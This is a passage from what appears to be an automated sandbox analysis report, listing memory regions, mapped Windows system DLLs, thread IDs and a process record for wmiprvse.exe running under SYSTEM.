Region:
	              id = 3026
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 3027
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 3028
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 3029
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 3030
	        start_va = 0x7feff2f0000
	          end_va = 0x7feff4c6fff
	     entry_point = 0x7feff2f0000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 3031
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 3032
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 3033
	        start_va = 0x7feff640000
	          end_va = 0x7feff6b0fff
	     entry_point = 0x7feff640000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 3034
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 3035
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 3036
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 3037
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 3038
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 3039
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 3040
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
	     entry_point = 0x7fefff60000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 3041
	        start_va = 0x7fffff6e000
	          end_va = 0x7fffff6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff6e000"
	        filename = ""

Region:
	              id = 3042
	        start_va = 0x7fffff70000
	          end_va = 0x7fffff71fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff70000"
	        filename = ""

Region:
	              id = 3043
	        start_va = 0x7fffff72000
	          end_va = 0x7fffff73fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff72000"
	        filename = ""

Region:
	              id = 3044
	        start_va = 0x7fffff74000
	          end_va = 0x7fffff75fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff74000"
	        filename = ""

Region:
	              id = 3045
	        start_va = 0x7fffff76000
	          end_va = 0x7fffff77fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff76000"
	        filename = ""

Region:
	              id = 3046
	        start_va = 0x7fffff78000
	          end_va = 0x7fffff79fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff78000"
	        filename = ""

Region:
	              id = 3047
	        start_va = 0x7fffff7a000
	          end_va = 0x7fffff7bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7a000"
	        filename = ""

Region:
	              id = 3048
	        start_va = 0x7fffff7c000
	          end_va = 0x7fffff7dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7c000"
	        filename = ""

Region:
	              id = 3049
	        start_va = 0x7fffff7e000
	          end_va = 0x7fffff7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff7e000"
	        filename = ""

Region:
	              id = 3050
	        start_va = 0x7fffff80000
	          end_va = 0x7fffff81fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff80000"
	        filename = ""

Region:
	              id = 3051
	        start_va = 0x7fffff82000
	          end_va = 0x7fffff83fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff82000"
	        filename = ""

Region:
	              id = 3052
	        start_va = 0x7fffff84000
	          end_va = 0x7fffff85fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff84000"
	        filename = ""

Region:
	              id = 3053
	        start_va = 0x7fffff86000
	          end_va = 0x7fffff87fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff86000"
	        filename = ""

Region:
	              id = 3054
	        start_va = 0x7fffff88000
	          end_va = 0x7fffff89fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff88000"
	        filename = ""

Region:
	              id = 3055
	        start_va = 0x7fffff8a000
	          end_va = 0x7fffff8bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8a000"
	        filename = ""

Region:
	              id = 3056
	        start_va = 0x7fffff8c000
	          end_va = 0x7fffff8dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8c000"
	        filename = ""

Region:
	              id = 3057
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 3058
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 3059
	        start_va = 0x7fffff92000
	          end_va = 0x7fffff93fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff92000"
	        filename = ""

Region:
	              id = 3060
	        start_va = 0x7fffff94000
	          end_va = 0x7fffff95fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff94000"
	        filename = ""

Region:
	              id = 3061
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 3062
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 3063
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 3064
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 3065
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 3066
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 3067
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 3068
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 3069
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 3070
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 3071
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 3072
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 3073
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 3074
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 3075
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 3076
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 3077
	        start_va = 0x7fffffd9000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd9000"
	        filename = ""

Region:
	              id = 3078
	        start_va = 0x7fffffdb000
	          end_va = 0x7fffffdcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdb000"
	        filename = ""

Region:
	              id = 3079
	        start_va = 0x7fffffdd000
	          end_va = 0x7fffffdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdd000"
	        filename = ""

Region:
	              id = 3080
	        start_va = 0x7fffffdf000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdf000"
	        filename = ""


Thread:
	id = 270
	os_tid = 0x7c4


Thread:
	id = 271
	os_tid = 0xb3c


Thread:
	id = 272
	os_tid = 0xacc


Thread:
	id = 273
	os_tid = 0xac4


Thread:
	id = 274
	os_tid = 0x960


Thread:
	id = 275
	os_tid = 0xaa0


Thread:
	id = 276
	os_tid = 0x95c


Thread:
	id = 277
	os_tid = 0x6c0


Thread:
	id = 278
	os_tid = 0x7f4


Thread:
	id = 279
	os_tid = 0x7f8


Thread:
	id = 280
	os_tid = 0x4b0


Thread:
	id = 281
	os_tid = 0x34c


Thread:
	id = 282
	os_tid = 0x12c


Thread:
	id = 283
	os_tid = 0x550


Thread:
	id = 284
	os_tid = 0x24c


Thread:
	id = 285
	os_tid = 0xab4


Thread:
	id = 286
	os_tid = 0xa50


Thread:
	id = 287
	os_tid = 0xaf0


Thread:
	id = 288
	os_tid = 0x358


Thread:
	id = 289
	os_tid = 0x62c


Thread:
	id = 290
	os_tid = 0xa04


Thread:
	id = 291
	os_tid = 0x97c


Thread:
	id = 292
	os_tid = 0x348


Thread:
	id = 293
	os_tid = 0x220


Thread:
	id = 294
	os_tid = 0x618


Thread:
	id = 295
	os_tid = 0x614


Thread:
	id = 296
	os_tid = 0x610


Thread:
	id = 297
	os_tid = 0x5d4


Thread:
	id = 298
	os_tid = 0x5d0


Thread:
	id = 299
	os_tid = 0x448


Thread:
	id = 300
	os_tid = 0x438


Thread:
	id = 301
	os_tid = 0x3bc


Thread:
	id = 302
	os_tid = 0x3b4


Thread:
	id = 303
	os_tid = 0x3a4


Thread:
	id = 304
	os_tid = 0x304


Thread:
	id = 305
	os_tid = 0x300


Thread:
	id = 306
	os_tid = 0x2d8


Thread:
	id = 307
	os_tid = 0x2d0


Thread:
	id = 320
	os_tid = 0x780


Process:
	id = "26"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x1a573000"
	os_pid = "0xbd8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "2"
	os_parent_pid = "0x36c"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 3081
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 3082
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 3083
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 3084
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 3085
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 3086
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 3087
	        start_va = 0xd0000
	          end_va = 0xd6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000d0000"
	        filename = ""

Region:
	              id = 3088
	        start_va = 0xe0000
	          end_va = 0xe1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000e0000"
	        filename = ""

Region:
	              id = 3089
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 3090
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000100000"
	        filename = ""

Region:
	              id = 3091
	        start_va = 0x110000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 3092
	        start_va = 0x190000
	          end_va = 0x190fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 3093
	        start_va = 0x1f0000
	          end_va = 0x1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 3094
	        start_va = 0x240000
	          end_va = 0x33ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000240000"
	        filename = ""

Region:
	              id = 3095
	        start_va = 0x340000
	          end_va = 0x43ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000340000"
	        filename = ""

Region:
	              id = 3096
	        start_va = 0x440000
	          end_va = 0x5c7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000440000"
	        filename = ""

Region:
	              id = 3097
	        start_va = 0x5d0000
	          end_va = 0x750fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005d0000"
	        filename = ""

Region:
	              id = 3098
	        start_va = 0x760000
	          end_va = 0x81ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000760000"
	        filename = ""

Region:
	              id = 3099
	        start_va = 0x8c0000
	          end_va = 0x93ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000008c0000"
	        filename = ""

Region:
	              id = 3100
	        start_va = 0x940000
	          end_va = 0xa3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000940000"
	        filename = ""

Region:
	              id = 3101
	        start_va = 0xa40000
	          end_va = 0xd0efff
	     entry_point = 0xa40000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 3102
	        start_va = 0xd10000
	          end_va = 0x1102fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d10000"
	        filename = ""

Region:
	              id = 3103
	        start_va = 0x1140000
	          end_va = 0x11bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001140000"
	        filename = ""

Region:
	              id = 3104
	        start_va = 0x1280000
	          end_va = 0x12fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001280000"
	        filename = ""

Region:
	              id = 3105
	        start_va = 0x13c0000
	          end_va = 0x143ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013c0000"
	        filename = ""

Region:
	              id = 3106
	        start_va = 0x14b0000
	          end_va = 0x152ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014b0000"
	        filename = ""

Region:
	              id = 3107
	        start_va = 0x1580000
	          end_va = 0x15fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001580000"
	        filename = ""

Region:
	              id = 3108
	        start_va = 0x1670000
	          end_va = 0x16effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001670000"
	        filename = ""

Region:
	              id = 3109
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 3110
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 3111
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 3112
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 3113
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 3114
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 3115
	        start_va = 0xff260000
	          end_va = 0xff2befff
	     entry_point = 0xff260000
	     region_type = mapped_file
	            name = "wmiprvse.exe"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe")

Region:
	              id = 3116
	        start_va = 0x7fef5ba0000
	          end_va = 0x7fef5bb5fff
	     entry_point = 0x7fef5ba0000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 3117
	        start_va = 0x7fef5e10000
	          end_va = 0x7fef5e23fff
	     entry_point = 0x7fef5e10000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 3118
	        start_va = 0x7fef6370000
	          end_va = 0x7fef6396fff
	     entry_point = 0x7fef6370000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 3119
	        start_va = 0x7fef63a0000
	          end_va = 0x7fef6481fff
	     entry_point = 0x7fef63a0000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 3120
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 3121
	        start_va = 0x7fefbcd0000
	          end_va = 0x7fefbd55fff
	     entry_point = 0x7fefbcd0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 3122
	        start_va = 0x7fefbf00000
	          end_va = 0x7fefbf0efff
	     entry_point = 0x7fefbf00000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 3123
	        start_va = 0x7fefd180000
	          end_va = 0x7fefd1c6fff
	     entry_point = 0x7fefd180000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 3124
	        start_va = 0x7fefd480000
	          end_va = 0x7fefd496fff
	     entry_point = 0x7fefd480000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 3125
	        start_va = 0x7fefda80000
	          end_va = 0x7fefda8efff
	     entry_point = 0x7fefda80000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 3126
	        start_va = 0x7fefdb70000
	          end_va = 0x7fefdb83fff
	     entry_point = 0x7fefdb70000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 3127
	        start_va = 0x7fefdd60000
	          end_va = 0x7fefddcafff
	     entry_point = 0x7fefdd60000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 3128
	        start_va = 0x7fefdf60000
	          end_va = 0x7fefdfc6fff
	     entry_point = 0x7fefdf60000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 3129
	        start_va = 0x7fefed60000
	          end_va = 0x7fefed8dfff
	     entry_point = 0x7fefed60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 3130
	        start_va = 0x7fefee30000
	          end_va = 0x7fefee7cfff
	     entry_point = 0x7fefee30000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 3131
	        start_va = 0x7feff0e0000
	          end_va = 0x7feff1bafff
	     entry_point = 0x7feff0e0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 3132
	        start_va = 0x7feff1c0000
	          end_va = 0x7feff1defff
	     entry_point = 0x7feff1c0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 3133
	        start_va = 0x7feff1e0000
	          end_va = 0x7feff2e8fff
	     entry_point = 0x7feff1e0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 3134
	        start_va = 0x7feff4d0000
	          end_va = 0x7feff598fff
	     entry_point = 0x7feff4d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 3135
	        start_va = 0x7feff5a0000
	          end_va = 0x7feff63efff
	     entry_point = 0x7feff5a0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 3136
	        start_va = 0x7feff860000
	          end_va = 0x7feff86dfff
	     entry_point = 0x7feff860000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 3137
	        start_va = 0x7feff9a0000
	          end_va = 0x7feffa38fff
	     entry_point = 0x7feff9a0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 3138
	        start_va = 0x7feffa40000
	          end_va = 0x7feffc42fff
	     entry_point = 0x7feffa40000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 3139
	        start_va = 0x7feffc50000
	          end_va = 0x7feffd7cfff
	     entry_point = 0x7feffc50000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 3140
	        start_va = 0x7feffd80000
	          end_va = 0x7feffe56fff
	     entry_point = 0x7feffd80000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 3141
	        start_va = 0x7feffe60000
	          end_va = 0x7feffeb1fff
	     entry_point = 0x7feffe60000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 3142
	        start_va = 0x7feffec0000
	          end_va = 0x7feffec7fff
	     entry_point = 0x7feffec0000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 3143
	        start_va = 0x7fefff60000
	          end_va = 0x7fefff60fff
